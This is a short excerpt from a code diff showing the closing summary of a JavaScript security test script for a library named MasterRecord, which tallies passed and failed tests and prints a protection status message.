const total = passed + failed;
|
|
248
|
+
const successRate = Math.round((passed/total)*100);
|
|
249
|
+
|
|
250
|
+
console.log(`\n Total Tests: ${total}`);
|
|
251
|
+
console.log(` ✅ Passed: ${passed}`);
|
|
252
|
+
console.log(` ❌ Failed: ${failed}`);
|
|
253
|
+
console.log(` Success Rate: ${successRate}%\n`);
|
|
254
|
+
|
|
255
|
+
if(failed === 0){
|
|
256
|
+
console.log("🎉 All security tests passed!");
|
|
257
|
+
console.log("\n🔒 Security Status: PROTECTED");
|
|
258
|
+
console.log(" ✓ SQL injection attempts are safely parameterized");
|
|
259
|
+
console.log(" ✓ Array parameters are properly validated");
|
|
260
|
+
console.log(" ✓ Special characters are handled correctly");
|
|
261
|
+
console.log(" ✓ Edge cases are managed safely");
|
|
262
|
+
console.log("\n✅ MasterRecord is production-ready from a security perspective!");
|
|
263
|
+
process.exit(0);
|
|
264
|
+
} else {
|
|
265
|
+
console.log("⚠️ Some security tests failed!");
|
|
266
|
+
console.log(" Review the failed tests and fix the issues before deploying.");
|
|
267
|
+
process.exit(1);
|
|
268
|
+
}
|